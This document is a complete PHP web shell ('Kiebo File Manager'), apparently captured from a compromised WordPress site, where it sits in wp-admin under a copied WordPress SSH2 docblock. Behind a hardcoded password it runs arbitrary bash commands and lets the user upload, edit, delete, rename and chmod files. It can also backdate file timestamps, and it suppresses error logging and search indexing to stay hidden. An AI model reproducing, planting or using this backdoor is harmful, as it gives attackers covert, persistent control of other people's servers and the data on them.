HEX
Server: Apache/2
System: Linux teh.co.ir 5.15.0-186-generic #196-Ubuntu SMP Sat Jun 20 16:09:34 UTC 2026 x86_64
User: drjorjani (1026)
PHP: 8.1.31
Disabled: NONE
Upload Files
File: /home/drjorjani/domains/drjorjani.ir/public_html/wp-admin/desah.php
<?php
/**
 * WordPress Filesystem Class for implementing SSH2
 *
 * To use this class you must follow these steps for PHP 5.2.6+
 *
 * {@link http://kevin.vanzonneveld.net/techblog/article/make_ssh_connections_with_php/ - Installation Notes}
 *
 * Compile libssh2 (Note: Only 0.14 is officially working with PHP 5.2.6+ right now, But many users have found the latest versions work)
 *
 * cd /usr/src
 * wget https://www.libssh2.org/download/libssh2-0.14.tar.gz
 * tar -zxvf libssh2-0.14.tar.gz
 * cd libssh2-0.14/
 * ./configure
 * make all install
 *
 * Note: Do not leave the directory yet!
 *
 * Enter: pecl install -f ssh2
 *
 * Copy the ssh.so file it creates to your PHP Module Directory.
 * Open up your PHP.INI file and look for where extensions are placed.
 * Add in your PHP.ini file: extension=ssh2.so
 *
 * Restart Apache!
 * Check phpinfo() streams to confirm that: ssh2.shell, ssh2.exec, ssh2.tunnel, ssh2.scp, ssh2.sftp  exist.
 *
 * Note: As of WordPress 2.8, this utilizes the PHP5+ function `stream_get_contents()`.
 *
 * @since 2.7.0
 *
 * @package WordPress
 * @subpackage Filesystem
 */
error_reporting(0);
@clearstatcache();
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@ini_set('output_buffering',0);
@ini_set('display_errors', 0);
session_start();

$passwd = "desah";
if ($_POST['pass']) {
  if ($_POST['passwd'] == $passwd) {
    $_SESSION['masuk'] = "masuk";
    header("Location: ?");
  }
}
if (isset($_REQUEST['logout'])) {
  session_destroy();
  header("Location: ?");
}
if (empty($_SESSION['masuk'])) {
?>
<title></title>
<meta name="robots" content="noindex, nofollow">
<meta name="googlebot" content="noindex, nofollow">
<meta name="bingbot" content="noindex, nofollow">
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<style>
  html { background: #000; color: #000; }
  input { background: transparent; color: #F8F8F2; border: 1px solid #A4FFFF; }
</style>
<center>
<p>
<table height="100%" width="100%">
  <td align="center">
    <br><br>
    <form method="post">
      <input type="password" name="passwd">
      <input type="submit" name="pass" value=">>">
    </form>
  </td>
</table>
<?php exit(); }

@set_time_limit(0);
define('_B_', realpath(isset($_GET['_r']) ? $_GET['_r'] : getcwd()));
chdir(_B_);

function _g($p){ return realpath($p); }
function _p($f){ return substr(sprintf('%o', fileperms($f)), -4); }
function _pm($f){
  $m = fileperms($f);
  $s = ($m & 0x4000) ? 'd' : '-';
  $x = [0x0100=>'r', 0x0080=>'w', 0x0040=>'x', 0x0020=>'r', 0x0010=>'w', 0x0008=>'x', 0x0004=>'r', 0x0002=>'w', 0x0001=>'x'];
  foreach($x as $b=>$c){ $s .= ($m & $b) ? $c : '-'; }
  return $s;
}
function _go(){ header('Location:?_r='.urlencode(_B_)); exit; }

if(isset($_GET['_x'])){
  $t = _g($_GET['_x']);
  if(is_file($t)) unlink($t);
  elseif(is_dir($t)) rmdir($t);
  _go();
}

if(isset($_POST['_rf'], $_POST['_rt'])){
  rename(_g($_POST['_rf']), dirname($_POST['_rf']).'/'.$_POST['_rt']);
  _go();
}

if(isset($_POST['_cp'], $_POST['_cm'])){
  chmod(_g($_POST['_cp']), intval($_POST['_cm'], 8));
  _go();
}

if(isset($_POST['_ep'], $_POST['_ed'])){
  file_put_contents($_POST['_ep'], $_POST['_ed']);
  echo "<div style='color:lime'>\u2713 Saved</div>";
}

if(!empty($_FILES['_uf'])){
  move_uploaded_file($_FILES['_uf']['tmp_name'], _B_.'/'.$_FILES['_uf']['name']);
  echo "<div style='color:lime'>\u2713 Uploaded</div>";
}

if(isset($_POST['_mkdir']) && $_POST['_mkdir']){
  $folder = basename(trim($_POST['_mkdir']));
  @mkdir(_B_ . '/' . $folder);
  _go();
}

if(isset($_POST['_mkfile']) && $_POST['_mkfile']){
  $file = basename(trim($_POST['_mkfile']));
  $path = _B_ . '/' . $file;
  if (!file_exists($path)) file_put_contents($path, '');
  _go();
}

if(isset($_POST['_tp'], $_POST['_tm'])){
  @touch(_g($_POST['_tp']), strtotime($_POST['_tm']));
  _go();
}

$__ = '';
if (isset($_POST['_sh'])) {
  $cmd = $_POST['_sh'];
  ob_start();
  if (stristr(PHP_OS, 'WIN')) {
    system($cmd);
  } else {
    putenv('PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin');
    $pipes = [];
    $process = proc_open("/bin/bash", [["pipe", "r"], ["pipe", "w"], ["pipe", "w"]], $pipes);
    if (is_resource($process)) {
      fwrite($pipes[0], $cmd . "\n"); fclose($pipes[0]);
      echo stream_get_contents($pipes[1]); fclose($pipes[1]);
      echo stream_get_contents($pipes[2]); fclose($pipes[2]);
      proc_close($process);
    } else {
      echo "\u274C Failed to open bash shell.";
    }
  }
  $__ = ob_get_clean();
}

$__dir = $__file = [];
foreach(scandir(_B_) as $_){
  if($_=='.') continue;
  $p = _B_.'/'.$_;
  is_dir($p) ? $__dir[] = $_ : $__file[] = $_;
}
?><!DOCTYPE html><html><head>
<meta charset="utf-8">
<title></title>
<style>
body{background:#111;color:#ccc;font:12px monospace;}
a{color:#02ff00;text-decoration:none;}
input,button,textarea{background:#1d1d1d;color:#ccc;border:1px solid #333;padding:3px;}
table{width:100%;border-collapse:collapse;margin-top:10px;}
td,th{border:1px solid #333;padding:4px;}
</style></head><body>
<h3># Kiebo File Manager<br># version : v.1.0/2025<br># Happy bypassing :)</h3>
<h3>📁 PATH:
<?php
$z = explode(DIRECTORY_SEPARATOR, _B_);
$p = PHP_OS_FAMILY === 'Windows' ? '' : '/';
foreach ($z as $i) {
  if ($i === '') continue;
  $p .= $i . '/';
  echo "<a href='?_r=" . urlencode($p) . "'>/$i</a>";
}
?>
</h3>
<!-- Change Dir Manual Input -->
<form method="get" style="margin:10px 0;">
  <input type="text" name="_r" placeholder="Contoh: /home/username/public_html/wp-content" style="width:60%;">
  <button>🔁 Change Dir</button>
</form>

<form method="post" enctype="multipart/form-data">
<input type="file" name="_uf"><button>Upload</button></form>

<form method="post" style="margin-top:10px;">
<input name="_sh" style="width:60%" placeholder="Execute Shell">
<button>Run</button></form>

<form method="post" style="margin-top:10px;">
<input name="_mkdir" placeholder="New Folder Name">
<button>Create Folder</button></form>

<form method="post" style="margin-top:10px;">
<input name="_mkfile" placeholder="New File Name">
<button>Create File</button></form>

<?php if($__): ?><pre><?=htmlspecialchars($__)?></pre><?php endif; ?>

<table>
<tr><th>Name</th><th>Type</th><th>Size</th><th>Perm</th><th>Modified</th><th>Action</th></tr>
<?php foreach($__dir as $_): $p=_g(_B_.'/'.$_); ?>
<tr>
<td><a href="?_r=<?=urlencode($p)?>">📁 <?=htmlspecialchars($_)?></a></td>
<td>DIR</td><td>-</td><td><?=_pm($p)?></td><td><?=date('Y-m-d H:i:s', filemtime($p))?></td>
<td>
<form method="post" style="display:inline;"><input type="hidden" name="_rf" value="<?=$p?>"><input name="_rt" placeholder="Rename"><button>R</button></form>
<form method="post" style="display:inline;"><input type="hidden" name="_cp" value="<?=$p?>"><input name="_cm" size="4" placeholder="<?= _p($p) ?>"><button>C</button></form>
<form method="post" style="display:inline;"><input type="hidden" name="_tp" value="<?=$p?>"><input name="_tm" placeholder="<?=date('Y-m-d H:i:s', filemtime($p))?>"><button>T</button></form>
<a href="?_x=<?=urlencode($p)?>&_r=<?=urlencode(_B_)?>">Delete</a>
</td></tr>
<?php endforeach; ?>

<?php foreach($__file as $_): $p=_g(_B_.'/'.$_); ?>
<tr>
<td><a href="?_r=<?=urlencode(_B_)?>&e=<?=urlencode($p)?>">📄 <?=htmlspecialchars($_)?></a></td>
<td>FILE</td><td><?=filesize($p)?> B</td><td><?=_pm($p)?></td><td><?=date('Y-m-d H:i:s', filemtime($p))?></td>
<td>
<form method="post" style="display:inline;"><input type="hidden" name="_rf" value="<?=$p?>"><input name="_rt" placeholder="Rename"><button>R</button></form>
<form method="post" style="display:inline;"><input type="hidden" name="_cp" value="<?=$p?>"><input name="_cm" size="4" placeholder="<?= _p($p) ?>"><button>C</button></form>
<form method="post" style="display:inline;"><input type="hidden" name="_tp" value="<?=$p?>"><input name="_tm" placeholder="<?=date('Y-m-d H:i:s', filemtime($p))?>"><button>T</button></form>
<a href="?_x=<?=urlencode($p)?>&_r=<?=urlencode(_B_)?>">Delete</a>
</td></tr>
<?php endforeach; ?>
</table>

<?php if(!empty($_GET['e'])):
$fp=_g($_GET['e']);if(is_file($fp)):
$ct=htmlspecialchars(file_get_contents($fp)); ?>
<h4>Edit: <?=basename($fp)?></h4>
<form method="post">
<input type="hidden" name="_ep" value="<?=$fp?>">
<textarea name="_ed" rows="20" cols="80"><?=$ct?></textarea><br>
<button>💾 Save</button>
</form>
<?php endif; endif; ?>
</body></html>